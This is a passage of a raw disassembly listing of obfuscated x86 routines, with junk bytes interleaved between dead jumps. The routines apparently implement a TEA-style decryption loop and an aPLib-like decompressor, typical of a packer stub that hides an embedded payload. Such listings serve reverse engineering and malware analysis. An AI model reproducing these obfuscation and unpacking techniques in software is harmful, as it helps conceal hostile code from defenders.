loc_402A6D: ; CODE XREF: sub_40293D+124j movsx eax, word ptr [esi+6] jmp loc_402A85 ; --------------------------------------------------------------------------- dw 6BBAh dd 478661C8h, 0E3129D74h, 3F5E99E0h db 0Ch ; --------------------------------------------------------------------------- loc_402A85: ; CODE XREF: sub_40293D+134j dec eax jmp short loc_402A8B ; --------------------------------------------------------------------------- push ebp push 5Bh loc_402A8B: ; CODE XREF: sub_40293D+149j xor edx, edx mov ecx, 28h mul ecx jmp short loc_402A9C ; --------------------------------------------------------------------------- dw 0D1F8h dd 0DA43736h ; --------------------------------------------------------------------------- loc_402A9C: ; CODE XREF: sub_40293D+157j pop edx jmp short loc_402AA4 ; --------------------------------------------------------------------------- db 0C2h ; --------------------------------------------------------------------------- rcl dword ptr [eax], cl or [esi], ecx loc_402AA4: ; CODE XREF: sub_40293D+160j cmp edx, eax jz loc_402ABE add edx, 28h jmp short loc_402AB9 ; --------------------------------------------------------------------------- db 2Fh, 3Ch, 0C5h dd 41284B1Ah db 0E6h ; --------------------------------------------------------------------------- loc_402AB9: ; CODE XREF: sub_40293D+172j jmp loc_4029AA ; --------------------------------------------------------------------------- loc_402ABE: ; CODE XREF: sub_40293D+169j pop ecx jmp loc_402AD3 ; --------------------------------------------------------------------------- dd 727DD427h, 0BE7940C3h, 0CA356C1Fh ; --------------------------------------------------------------------------- cmp ebx, [eax-4Fh] loc_402AD3: ; CODE XREF: sub_40293D+182j pop edi jmp short loc_402AD7 ; --------------------------------------------------------------------------- xchg eax, esi loc_402AD7: ; CODE XREF: sub_40293D+197j pop esi leave jmp locret_402AEA ; --------------------------------------------------------------------------- dw 417h dd 70B322EDh, 9C0F6EE9h db 0A5h, 7Ah ; --------------------------------------------------------------------------- locret_402AEA: ; CODE XREF: sub_40293D+19Cj retn 4 sub_40293D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402AED proc near ; CODE XREF: sub_402C8E:loc_402D39p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp jmp loc_402B00 ; --------------------------------------------------------------------------- db 2Bh, 88h, 21h dd 5D340746h, 59A0A3D2h ; --------------------------------------------------------------------------- loc_402B00: ; CODE XREF: sub_402AED+3j push edi jmp short loc_402B0F ; --------------------------------------------------------------------------- db 1Eh dd 2A15CCFFh, 0F691B81Bh db 0F7h, 64h, 0CDh ; --------------------------------------------------------------------------- loc_402B0F: ; CODE XREF: sub_402AED+14j push esi push ebx push ecx jmp loc_402B22 ; --------------------------------------------------------------------------- adc byte ptr [ebx-10313630h], 0FCh test ebx, edx or ebp, eax loc_402B22: ; CODE XREF: sub_402AED+25j mov eax, [ebp+arg_0] mov esi, [ebp+arg_4] mov ecx, 0C6EF3720h jmp loc_402B35 ; --------------------------------------------------------------------------- dw 0A601h db 0E7h ; --------------------------------------------------------------------------- loc_402B35: ; CODE XREF: sub_402AED+40j mov edx, 20h loc_402B3A: ; CODE XREF: sub_402AED+154j push edx mov edi, eax jmp short loc_402B47 ; --------------------------------------------------------------------------- db 94h dd 83323Dh ; --------------------------------------------------------------------------- cmp [esi-21h], edi loc_402B47: ; CODE XREF: sub_402AED+50j shr edi, 5 jmp loc_402B5E ; --------------------------------------------------------------------------- db 2Ch dd 18FB8AF5h, 0C4D75671h, 3073E2ADh db 0A9h, 2Eh ; --------------------------------------------------------------------------- loc_402B5E: ; CODE XREF: sub_402AED+5Dj mov ebx, [ebp+arg_14] jmp loc_402B6F ; --------------------------------------------------------------------------- dw 5CCFh dd 48EB3A65h db 0E1h, 6, 0C7h ; --------------------------------------------------------------------------- loc_402B6F: ; CODE XREF: sub_402AED+74j add edi, ebx mov ebx, eax jmp short loc_402B7C ; --------------------------------------------------------------------------- db 0F4h, 1Dh, 92h dd 0DE196063h ; --------------------------------------------------------------------------- loc_402B7C: ; CODE XREF: sub_402AED+86j shl ebx, 4 mov edx, [ebp+arg_10] jmp loc_402B8A ; --------------------------------------------------------------------------- db 0BFh ; --------------------------------------------------------------------------- mov ebp, ss loc_402B8A: ; CODE XREF: sub_402AED+95j add ebx, edx xor edi, ebx lea ebx, [eax+ecx] jmp short loc_402BA1 ; --------------------------------------------------------------------------- db 0EAh dd 0B65178DBh, 428D24B7h, 8E899053h ; --------------------------------------------------------------------------- scasd loc_402BA1: ; CODE XREF: sub_402AED+A4j xor edi, ebx jmp loc_402BB4 ; --------------------------------------------------------------------------- dd 0CB9A45BCh, 0A766C1A8h, 43F2FD54h ; --------------------------------------------------------------------------- loc_402BB4: ; CODE XREF: sub_402AED+B6j sub esi, edi mov edi, esi shr edi, 5 jmp loc_402BC2 ; --------------------------------------------------------------------------- db 0C0h, 0F9h ; --------------------------------------------------------------------------- loc_402BC2: ; CODE XREF: sub_402AED+CEj mov ebx, [ebp+arg_C] jmp short loc_402BD3 ; --------------------------------------------------------------------------- db 3Eh dd 4AB5EC9Fh, 1631D8BBh db 97h, 84h, 6Dh ; --------------------------------------------------------------------------- loc_402BD3: ; CODE XREF: sub_402AED+D8j add edi, ebx jmp short loc_402BDC ; --------------------------------------------------------------------------- mov ds:0EE69F033h, al loc_402BDC: ; CODE XREF: sub_402AED+E8j mov ebx, esi shl ebx, 4 jmp short loc_402BF0 ; --------------------------------------------------------------------------- db 8Fh dd 0ABFA251Ch, 87C6A108h, 2352DDB4h ; --------------------------------------------------------------------------- loc_402BF0: ; CODE XREF: sub_402AED+F4j mov edx, [ebp+arg_8] add ebx, edx jmp short loc_402C02 ; --------------------------------------------------------------------------- db 20h dd 4C7F9ED9h, 389BAA95h db 11h, 76h ; --------------------------------------------------------------------------- loc_402C02: ; CODE XREF: sub_402AED+108j xor edi, ebx loc_402C04: ; CODE XREF: sub_402AED+178j jmp short loc_402C0E ; --------------------------------------------------------------------------- dw 0E477h ; --------------------------------------------------------------------------- dec ebp add dl, [ebx] push eax dec ecx dec esi loc_402C0E: ; CODE XREF: sub_402AED:loc_402C04j lea ebx, [esi+ecx] jmp short loc_402C1E ; --------------------------------------------------------------------------- db 6Fh ; --------------------------------------------------------------------------- jl short near ptr loc_402C1A+1 pop edx mov ebp, [eax-7Fh] loc_402C1A: ; CODE XREF: sub_402AED+127j db 26h, 67h adc al, 0BDh loc_402C1E: ; CODE XREF: sub_402AED+124j xor edi, ebx sub eax, edi add ecx, 61C88647h jmp short loc_402C38 ; --------------------------------------------------------------------------- dw 3B2h dd 5FFEB980h, 7B0A75ACh, 57D6F198h ; --------------------------------------------------------------------------- loc_402C38: ; CODE XREF: sub_402AED+13Bj pop edx jmp loc_402C40 ; --------------------------------------------------------------------------- dw 2D44h ; --------------------------------------------------------------------------- loc_402C40: ; CODE XREF: sub_402AED+14Cj dec edx jnz loc_402B3A mov edx, esi pop ecx jmp loc_402C50 ; --------------------------------------------------------------------------- db 62h ; --------------------------------------------------------------------------- loc_402C50: ; CODE XREF: sub_402AED+15Dj pop ebx pop esi pop edi jmp locret_402C67 ; --------------------------------------------------------------------------- dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh ; --------------------------------------------------------------------------- inc edi jz short loc_402C04 locret_402C67: ; CODE XREF: sub_402AED+166j leave jmp short locret_402C79 ; --------------------------------------------------------------------------- dw 0E312h dd 3F5E99E0h, 5B6A550Ch, 3736D1F8h ; --------------------------------------------------------------------------- movsb locret_402C79: ; CODE XREF: sub_402AED+17Bj retn 18h sub_402AED endp ; --------------------------------------------------------------------------- jmp sub_402C8E ; --------------------------------------------------------------------------- or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C8E proc near ; CODE XREF: sub_40141A+3A1p ; .text:00402C7Cj arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp jmp short loc_402CA2 ; --------------------------------------------------------------------------- db 0E6h dd 727DD427h, 0BE7940C3h, 0CA356C1Fh db 3Bh, 58h ; --------------------------------------------------------------------------- loc_402CA2: ; CODE XREF: sub_402C8E+3j push edi jmp loc_402CAE ; --------------------------------------------------------------------------- dd 41796B1h db 0EDh, 22h ; --------------------------------------------------------------------------- loc_402CAE: ; CODE XREF: sub_402C8E+15j push esi push ebx jmp loc_402CBB ; --------------------------------------------------------------------------- db 0B3h, 70h, 0E9h db 6Eh, 0Fh, 9Ch ; --------------------------------------------------------------------------- loc_402CBB: ; CODE XREF: sub_402C8E+22j mov ebx, [ebp+arg_4] mov ecx, ebx shr ebx, 3 jmp loc_402CCC ; --------------------------------------------------------------------------- dd 882B7AA5h ; --------------------------------------------------------------------------- loc_402CCC: ; CODE XREF: sub_402C8E+35j mov eax, 8 mul ebx cmp eax, ecx jz loc_402CF2 jmp short loc_402CED ; --------------------------------------------------------------------------- db 21h, 46h, 7 dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh db 0B8h ; --------------------------------------------------------------------------- loc_402CED: ; CODE XREF: sub_402C8E+4Dj add eax, 8 mov ecx, eax loc_402CF2: ; CODE XREF: sub_402C8E+47j mov esi, [ebp+arg_0] jmp short loc_402CFF ; --------------------------------------------------------------------------- db 91h dd 0CD64F7F6h db 82h, 93h, 0D0h ; --------------------------------------------------------------------------- loc_402CFF: ; CODE XREF: sub_402C8E+67j mov edi, esi loc_402D01: ; CODE XREF: sub_402C8E+C8j push [ebp+arg_14] push [ebp+arg_10] jmp loc_402D10 ; --------------------------------------------------------------------------- dd 0FCEFCEC9h ; --------------------------------------------------------------------------- loc_402D10: ; CODE XREF: sub_402C8E+79j push [ebp+arg_C] push [ebp+arg_8] jmp loc_402D22 ; --------------------------------------------------------------------------- db 85h dd 1E80BDAh db 0A6h, 0E7h ; --------------------------------------------------------------------------- loc_402D22: ; CODE XREF: sub_402C8E+88j push dword ptr [ecx+esi-8] jmp loc_402D2C ; --------------------------------------------------------------------------- xchg eax, esp loc_402D2C: ; CODE XREF: sub_402C8E+98j push dword ptr [ecx+esi-4] jmp short loc_402D39 ; --------------------------------------------------------------------------- dw 323Dh dd 7E390083h db 0DFh ; --------------------------------------------------------------------------- loc_402D39: ; CODE XREF: sub_402C8E+A2j call sub_402AED mov [ecx+edi-4], eax jmp short loc_402D46 ; --------------------------------------------------------------------------- sub al, 0F5h loc_402D46: ; CODE XREF: sub_402C8E+B4j mov [ecx+edi-8], edx jmp short loc_402D53 ; --------------------------------------------------------------------------- dd 7118FB8Ah db 56h, 0D7h, 0C4h ; --------------------------------------------------------------------------- loc_402D53: ; CODE XREF: sub_402C8E+BCj sub ecx, 8 jnz loc_402D01 jmp loc_402D6F ; --------------------------------------------------------------------------- db 0ADh, 0E2h, 73h dd 0CF2EA930h, 0EB3A655Ch db 48h, 0E1h, 6 ; --------------------------------------------------------------------------- loc_402D6F: ; CODE XREF: sub_402C8E+CEj pop ebx pop esi pop edi jmp locret_402D7B ; --------------------------------------------------------------------------- db 0C7h db 0F4h, 1Dh, 92h ; --------------------------------------------------------------------------- locret_402D7B: ; CODE XREF: sub_402C8E+E4j leave retn 18h sub_402C8E endp ; --------------------------------------------------------------------------- jmp near ptr sub_402D93 ; --------------------------------------------------------------------------- dd 0DE196063h, 0EAD58CBFh, 0B65178DBh db 0B7h, 24h, 8Dh ; =============== S U B R O U T I N E ======================================= sub_402D93 proc far ; CODE XREF: sub_4013C8:loc_4013FBp ; sub_40141A:loc_4014CDp ... push ebp jmp loc_402DA2 ; --------------------------------------------------------------------------- inc edx push ebx nop mov [esi-65BA4351h], ecx loc_402DA2: ; CODE XREF: sub_402D93+1j mov ebp, esp pusha jmp short loc_402DB0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h ; --------------------------------------------------------------------------- loc_402DB0: ; CODE XREF: sub_402D93+12j mov ecx, [ebp+10h] jmp loc_402DC7 ; --------------------------------------------------------------------------- dd 9F3EF9C0h, 0BB4AB5ECh, 971631D8h ; --------------------------------------------------------------------------- test [ebp-5Eh], ch loc_402DC7: ; CODE XREF: sub_402D93+20j mov edi, [ebp+8] jmp short loc_402DDC ; --------------------------------------------------------------------------- xor esi, eax imul ebp, esi, 0FA251C8Fh stosd or [ecx-224B783Ah], ah push edx loc_402DDC: ; CODE XREF: sub_402D93+37j mov esi, [ebp+0Ch] rep movsb popa loc_402DE2: ; CODE XREF: sub_402DEA+12j jmp short locret_402DE6 ; --------------------------------------------------------------------------- and esp, [eax] locret_402DE6: ; CODE XREF: sub_402D93:loc_402DE2j leave retn 0Ch sub_402D93 endp ; =============== S U B R O U T I N E ======================================= sub_402DEA proc near ; CODE XREF: sub_402EB1:loc_402EBCp ; sub_402EB1+21p ... mov eax, [ecx+0Ch] jmp loc_402DFF ; --------------------------------------------------------------------------- dw 9ED9h dd 0AA954C7Fh, 7611389Bh ; --------------------------------------------------------------------------- ja short loc_402DE2 dec ebp loc_402DFF: ; CODE XREF: sub_402DEA+3j lea edx, [eax-1] mov [ecx+0Ch], edx test eax, eax jnz loc_402E61 jmp short loc_402E14 ; --------------------------------------------------------------------------- add dl, [ebx] push eax dec ecx dec esi loc_402E14: ; CODE XREF: sub_402DEA+23j mov eax, [ecx] jmp loc_402E2A ; --------------------------------------------------------------------------- db 6Fh dd 8B5A057Ch, 67268168h, 3B2BD14h db 80h, 0B9h ; --------------------------------------------------------------------------- loc_402E2A: ; CODE XREF: sub_402DEA+2Cj movzx edx, byte ptr [eax] jmp short loc_402E30 ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- loc_402E30: ; CODE XREF: sub_402DEA+43j inc eax mov [ecx+8], edx mov [ecx], eax jmp loc_402E49 ; --------------------------------------------------------------------------- db 5Fh dd 7B0A75ACh, 57D6F198h, 0F3622D44h db 0B0h ; --------------------------------------------------------------------------- loc_402E49: ; CODE XREF: sub_402DEA+4Cj mov dword ptr [ecx+0Ch], 7 jmp loc_402E61 ; --------------------------------------------------------------------------- sub [esi-451A23B1h], ebp imul ecx, eax, 61h xchg al, [edi+74h] loc_402E61: ; CODE XREF: sub_402DEA+1Dj ; sub_402DEA+66j mov edx, [ecx+8] jmp loc_402E76 ; --------------------------------------------------------------------------- db 9Dh, 12h, 0E3h dd 3F5E99E0h, 5B6A550Ch db 0F8h, 0D1h ; --------------------------------------------------------------------------- loc_402E76: ; CODE XREF: sub_402DEA+7Aj mov eax, edx jmp loc_402E81 ; --------------------------------------------------------------------------- db 36h, 37h, 0A4h db 0Dh ; --------------------------------------------------------------------------- loc_402E81: ; CODE XREF: sub_402DEA+8Ej shr eax, 7 add edx, edx and eax, 1 jmp loc_402E9D ; --------------------------------------------------------------------------- dw 0D3C2h dd 2F0E0910h, 4B1AC53Ch, 27E64128h db 0D4h ; --------------------------------------------------------------------------- loc_402E9D: ; CODE XREF: sub_402DEA+9Fj mov [ecx+8], edx jmp short locret_402EB0 ; --------------------------------------------------------------------------- dw 727Dh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 40h, 79h, 0BEh dd 0CA356C1Fh, 96B1583Bh ; --------------------------------------------------------------------------- locret_402EB0: ; CODE XREF: sub_402DEA+B6j retn sub_402DEA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_402EB1 proc near ; CODE XREF: sub_402F03:loc_4031AEp ; sub_402F03:loc_4031E0p ... push esi jmp loc_402EB9 ; --------------------------------------------------------------------------- db 17h db 4 ; --------------------------------------------------------------------------- loc_402EB9: ; CODE XREF: sub_402EB1+1j xor esi, esi inc esi loc_402EBC: ; CODE XREF: sub_402EB1+33j call sub_402DEA jmp short loc_402ECF ; --------------------------------------------------------------------------- db 0EDh dd 0E970B322h, 0A59C0F6Eh db 7Ah, 2Bh, 88h ; --------------------------------------------------------------------------- loc_402ECF: ; CODE XREF: sub_402EB1+10j lea esi, [eax+esi*2] call sub_402DEA jmp loc_402EE2 ; --------------------------------------------------------------------------- dd 34074621h db 5Dh, 0D2h ; --------------------------------------------------------------------------- loc_402EE2: ; CODE XREF: sub_402EB1+26j test eax, eax jnz loc_402EBC jmp short loc_402EF5 ; --------------------------------------------------------------------------- dd 1E59A0A3h, 2A15CCFFh db 1Bh ; --------------------------------------------------------------------------- loc_402EF5: ; CODE XREF: sub_402EB1+39j mov eax, esi pop esi jmp short locret_402F02 ; --------------------------------------------------------------------------- dw 91B8h dd 0CD64F7F6h db 82h, 93h ; --------------------------------------------------------------------------- locret_402F02: ; CODE XREF: sub_402EB1+47j retn sub_402EB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F03 proc far ; CODE XREF: sub_4019C4:loc_401B74p ; sub_4019C4+237p var_7E = dword ptr -7Eh var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp loc_402F06: ; CODE XREF: sub_402F03+22j jmp loc_402F15 ; --------------------------------------------------------------------------- db 0D0h dd 0FCEFCEC9h, 0E80BDA85h db 1 ; --------------------------------------------------------------------------- loc_402F15: ; CODE XREF: sub_402F03:loc_402F06j sub esp, 14h jmp loc_402F2B ; --------------------------------------------------------------------------- db 0A6h, 0E7h, 94h ; --------------------------------------------------------------------------- cmp eax, 39008332h jle short loc_402F06 sub al, 0F5h mov bh, bl loc_402F2B: ; CODE XREF: sub_402F03+15j mov eax, [ebp+8] mov cl, [eax] jmp short loc_402F3F ; --------------------------------------------------------------------------- dw 7118h dd 0ADC4D756h, 0A93073E2h db 2Eh, 0CFh, 5Ch ; --------------------------------------------------------------------------- loc_402F3F: ; CODE XREF: sub_402F03+2Dj and [ebp+var_8], 0 push ebx mov ebx, [ebp+arg_4] jmp short loc_402F53 ; --------------------------------------------------------------------------- db 65h, 3Ah, 0EBh dd 0C706E148h db 0F4h, 1Dh, 92h ; --------------------------------------------------------------------------- loc_402F53: ; CODE XREF: sub_402F03+44j push esi xor esi, esi and [ebp+var_4], esi jmp loc_402F65 ; --------------------------------------------------------------------------- dw 6063h dd 8CBFDE19h db 0D5h ; --------------------------------------------------------------------------- loc_402F65: ; CODE XREF: sub_402F03+56j mov [ebx], cl jmp short loc_402F76 ; --------------------------------------------------------------------------- db 0EAh, 0DBh, 78h dd 24B7B651h, 9053428Dh db 89h, 8Eh ; --------------------------------------------------------------------------- loc_402F76: ; CODE XREF: sub_402F03+64j lea ecx, [ebx+1] inc eax jmp loc_402F87 ; --------------------------------------------------------------------------- db 0AFh dd 0CB9A45BCh db 0A8h, 0C1h, 66h ; --------------------------------------------------------------------------- loc_402F87: ; CODE XREF: sub_402F03+77j push edi mov [ebp+var_10], ecx jmp short loc_402F90 ; --------------------------------------------------------------------------- cmpsd push esp std loc_402F90: ; CODE XREF: sub_402F03+88j mov [ebp+var_14], eax jmp loc_402F9C ; --------------------------------------------------------------------------- dd 0F9C043F2h ; --------------------------------------------------------------------------- loc_402F9C: ; CODE XREF: sub_402F03+90j ; sub_402F03+4F6j lea ecx, [ebp+var_14] jmp loc_402FB2 ; --------------------------------------------------------------------------- dd 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h db 0A2h, 33h ; --------------------------------------------------------------------------- loc_402FB2: ; CODE XREF: sub_402F03+9Cj call sub_402DEA jmp loc_402FC3 ; --------------------------------------------------------------------------- dd 8FEE69F0h ; --------------------------------------------------------------------------- sbb al, 25h cli loc_402FC3: ; CODE XREF: sub_402F03+B4j test eax, eax jz loc_4033AF call sub_402DEA jmp short loc_402FE1 ; --------------------------------------------------------------------------- dw 8ABh dd 0B487C6A1h, 202352DDh, 4C7F9ED9h ; --------------------------------------------------------------------------- xchg eax, ebp loc_402FE1: ; CODE XREF: sub_402F03+CDj test eax, eax jz loc_4031AE jmp loc_402FF2 ; --------------------------------------------------------------------------- stosb wait cmp [ecx], dl loc_402FF2: ; CODE XREF: sub_402F03+E6j call sub_402DEA jmp short loc_403005 ; --------------------------------------------------------------------------- db 76h, 77h, 0E4h dd 5013024Dh, 7C6F4E49h db 5 ; --------------------------------------------------------------------------- loc_403005: ; CODE XREF: sub_402F03+F4j test eax, eax jz loc_4030B3 push 4 xor esi, esi jmp short loc_403019 ; --------------------------------------------------------------------------- db 5Ah dd 2681688Bh db 67h ; --------------------------------------------------------------------------- loc_403019: ; CODE XREF: sub_402F03+10Ej pop edi loc_40301A: ; CODE XREF: sub_402F03+12Cj lea ecx, [ebp+var_14] call sub_402DEA jmp short loc_40302B ; --------------------------------------------------------------------------- dd 3B2BD14h db 80h, 0B9h, 0FEh ; --------------------------------------------------------------------------- loc_40302B: ; CODE XREF: sub_402F03+11Fj lea esi, [eax+esi*2] dec edi jnz loc_40301A jmp loc_40303B ; --------------------------------------------------------------------------- pop edi loc_40303B: ; CODE XREF: sub_402F03+132j mov eax, [ebp+var_10] jmp short loc_403041 ; --------------------------------------------------------------------------- lodsb loc_403041: ; CODE XREF: sub_402F03+13Bj test esi, esi jz loc_40308B jmp loc_403051 ; --------------------------------------------------------------------------- dw 0A75h db 7Bh ; --------------------------------------------------------------------------- loc_403051: ; CODE XREF: sub_402F03+146j mov ecx, [ebp+var_10] sub eax, esi jmp short loc_403060 ; --------------------------------------------------------------------------- dd 57D6F198h, 0F3622D44h ; --------------------------------------------------------------------------- loc_403060: ; CODE XREF: sub_402F03+153j mov al, [eax] mov [ecx], al jmp loc_403076 ; --------------------------------------------------------------------------- db 0B0h, 29h, 0AEh dd 0BAE5DC4Fh, 8661C86Bh db 47h, 74h ; --------------------------------------------------------------------------- loc_403076: ; CODE XREF: sub_402F03+161j jmp loc_40308E ; --------------------------------------------------------------------------- db 0EBh ; db 0Eh db 9Dh, 12h, 0E3h dd 3F5E99E0h, 5B6A550Ch ; --------------------------------------------------------------------------- clc sal dword ptr [esi], 1 loc_40308B: ; CODE XREF: sub_402F03+140j mov byte ptr [eax], 0 loc_40308E: ; CODE XREF: sub_402F03:loc_403076j inc [ebp+var_10] jmp short loc_40309B ; --------------------------------------------------------------------------- aaa movsb or eax, 910D3C2h push cs loc_40309B: ; CODE XREF: sub_402F03+18Ej jmp loc_4033E5 ; --------------------------------------------------------------------------- jmp loc_4030B3 ; --------------------------------------------------------------------------- db 2Fh, 3Ch, 0C5h dd 41284B1Ah, 7DD427E6h db 72h, 0C3h, 40h ; --------------------------------------------------------------------------- loc_4030B3: ; CODE XREF: sub_402F03+104j ; sub_402F03+19Dj mov eax, [ebp+var_14] movzx esi, byte ptr [eax] jmp short loc_4030C6 ; --------------------------------------------------------------------------- db 79h ; --------------------------------------------------------------------------- mov esi, 0CA356C1Fh cmp ebx, [eax-4Fh] xchg eax, esi pop ss loc_4030C6: ; CODE XREF: sub_402F03+1B6j inc [ebp+var_14] jmp loc_4030D8 ; --------------------------------------------------------------------------- add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd loc_4030D8: ; CODE XREF: sub_402F03+1C6j xor ecx, ecx inc ecx jmp short loc_4030E6 ; --------------------------------------------------------------------------- db 7Ah, 2Bh, 88h dd 34074621h db 5Dh, 0D2h ; --------------------------------------------------------------------------- loc_4030E6: ; CODE XREF: sub_402F03+1D8j mov eax, esi jmp short loc_4030F8 ; --------------------------------------------------------------------------- dw 0A0A3h dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h ; --------------------------------------------------------------------------- loc_4030F8: ; CODE XREF: sub_402F03+1E5j and eax, ecx inc eax jmp loc_40310A ; --------------------------------------------------------------------------- dd 0D09382CDh, 0FCEFCEC9h ; --------------------------------------------------------------------------- test ebx, edx loc_40310A: ; CODE XREF: sub_402F03+1F8j inc eax jmp short loc_403118 ; --------------------------------------------------------------------------- or ebp, eax add [esi+323D94E7h], esp add dword ptr [eax], 39h loc_403118: ; CODE XREF: sub_402F03+208j shr esi, 1 jz loc_40318A jmp short loc_40312C ; --------------------------------------------------------------------------- dw 0DF7Eh ; --------------------------------------------------------------------------- sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat loc_40312C: ; CODE XREF: sub_402F03+21Dj test eax, eax jz loc_40338A jmp short loc_403145 ; --------------------------------------------------------------------------- dw 0ADC4h dd 0A93073E2h, 655CCF2Eh, 0E148EB3Ah ; --------------------------------------------------------------------------- push es loc_403145: ; CODE XREF: sub_402F03+231j mov ecx, [ebp+var_10] sub ecx, esi jmp loc_403152 ; --------------------------------------------------------------------------- db 0C7h db 0F4h, 1Dh ; --------------------------------------------------------------------------- loc_403152: ; CODE XREF: sub_402F03+247j ; sub_402F03+26Dj mov edi, [ebp+var_10] mov dl, [ecx] inc [ebp+var_10] jmp short loc_40316C ; --------------------------------------------------------------------------- dd 19606392h, 0D58CBFDEh, 5178DBEAh, 8D24B7B6h ; --------------------------------------------------------------------------- loc_40316C: ; CODE XREF: sub_402F03+257j inc ecx mov [edi], dl dec eax jnz loc_403152 jmp short loc_403185 ; --------------------------------------------------------------------------- inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h db 66h ; --------------------------------------------------------------------------- loc_403185: ; CODE XREF: sub_402F03+273j jmp loc_40338A ; --------------------------------------------------------------------------- loc_40318A: ; CODE XREF: sub_402F03+217j mov [ebp+var_4], ecx jmp loc_4031A2 ; --------------------------------------------------------------------------- dw 54A7h dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h ; --------------------------------------------------------------------------- xor [esi], edx loc_4031A2: ; CODE XREF: sub_402F03+28Aj jmp loc_40338A ; --------------------------------------------------------------------------- jmp loc_4031AE ; --------------------------------------------------------------------------- db 97h, 84h ; --------------------------------------------------------------------------- loc_4031AE: ; CODE XREF: sub_402F03+E0j ; sub_402F03+2A4j call sub_402EB1 jmp loc_4031BB ; --------------------------------------------------------------------------- db 6Dh, 0A2h, 33h ; --------------------------------------------------------------------------- loc_4031BB: ; CODE XREF: sub_402F03+2B0j test esi, esi jnz loc_40325D cmp eax, 2 jnz loc_40324D lea ecx, [ebp+var_14] jmp loc_4031E0 ; --------------------------------------------------------------------------- dd 8FEE69F0h, 0ABFA251Ch, 87C6A108h ; --------------------------------------------------------------------------- loc_4031E0: ; CODE XREF: sub_402F03+2CCj call sub_402EB1 jmp short loc_4031EF ; --------------------------------------------------------------------------- db 0B4h dd 202352DDh db 0D9h, 9Eh, 7Fh ; --------------------------------------------------------------------------- loc_4031EF: ; CODE XREF: sub_402F03+2E2j test eax, eax jz loc_403394 mov ecx, [ebp+var_10] sub ecx, [ebp+8] jmp short loc_40320D ; --------------------------------------------------------------------------- db 4Ch dd 389BAA95h, 0E4777611h, 5013024Dh ; --------------------------------------------------------------------------- loc_40320C: ; CODE XREF: sub_402F03+36Ej dec ecx loc_40320D: ; CODE XREF: sub_402F03+2FAj ; sub_402F03+33Bj mov esi, [ebp+var_10] mov dl, [ecx] jmp loc_403227 ; --------------------------------------------------------------------------- db 4Eh dd 5A057C6Fh, 2681688Bh, 0B2BD1467h db 3, 80h, 0B9h ; --------------------------------------------------------------------------- loc_403227: ; CODE XREF: sub_402F03+30Fj inc [ebp+var_10] inc ecx jmp short loc_40323B ; --------------------------------------------------------------------------- db 0FEh, 5Fh, 0ACh dd 987B0A75h, 4457D6F1h db 2Dh, 62h, 0F3h ; --------------------------------------------------------------------------- loc_40323B: ; CODE XREF: sub_402F03+328j mov [esi], dl dec eax jnz loc_40320D jmp loc_403394 ; --------------------------------------------------------------------------- jmp short loc_40324D ; --------------------------------------------------------------------------- mov al, 29h loc_40324D: ; CODE XREF: sub_402F03+2C3j ; sub_402F03+346j sub eax, 3 jmp loc_403275 ; --------------------------------------------------------------------------- jmp loc_40325D ; --------------------------------------------------------------------------- dw 4FAEh db 0DCh ; --------------------------------------------------------------------------- loc_40325D: ; CODE XREF: sub_402F03+2BAj ; sub_402F03+352j dec eax jmp short loc_403264 ; --------------------------------------------------------------------------- dd 0C86BBAE5h ; --------------------------------------------------------------------------- loc_403264: ; CODE XREF: sub_402F03+35Bj dec eax jmp loc_403275 ; --------------------------------------------------------------------------- popa xchg al, [edi+74h] popf adc ah, bl loopne loc_40320C pop esi aas loc_403275: ; CODE XREF: sub_402F03+34Dj ; sub_402F03+362j mov ecx, [ebp+var_14] jmp short loc_403289 ; --------------------------------------------------------------------------- or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs loc_403289: ; CODE XREF: sub_402F03+375j movzx ecx, byte ptr [ecx] jmp loc_40329A ; --------------------------------------------------------------------------- db 2Fh, 3Ch, 0C5h dd 41284B1Ah db 0E6h, 27h ; --------------------------------------------------------------------------- loc_40329A: ; CODE XREF: sub_402F03+389j shl eax, 8 add eax, ecx jmp short loc_4032A3 ; --------------------------------------------------------------------------- aam 7Dh loc_4032A3: ; CODE XREF: sub_402F03+39Cj inc [ebp+var_14] jmp short loc_4032AC ; --------------------------------------------------------------------------- dd 7940C372h ; --------------------------------------------------------------------------- loc_4032AC: ; CODE XREF: sub_402F03+3A3j lea ecx, [ebp+var_14] jmp short loc_4032BC ; --------------------------------------------------------------------------- db 0BEh, 1Fh, 6Ch dd 583BCA35h, 41796B1h ; --------------------------------------------------------------------------- loc_4032BC: ; CODE XREF: sub_402F03+3ACj mov esi, eax call sub_402EB1 jmp short loc_4032D3 ; --------------------------------------------------------------------------- db 0EDh, 22h, 0B3h dd 0F6EE970h, 2B7AA59Ch ; --------------------------------------------------------------------------- mov [ecx], ah inc esi loc_4032D3: ; CODE XREF: sub_402F03+3C0j cmp esi, 7D00h jb loc_4032E0 inc eax loc_4032E0: ; CODE XREF: sub_402F03+3D6j cmp esi, 500h jb loc_4032FD jmp short 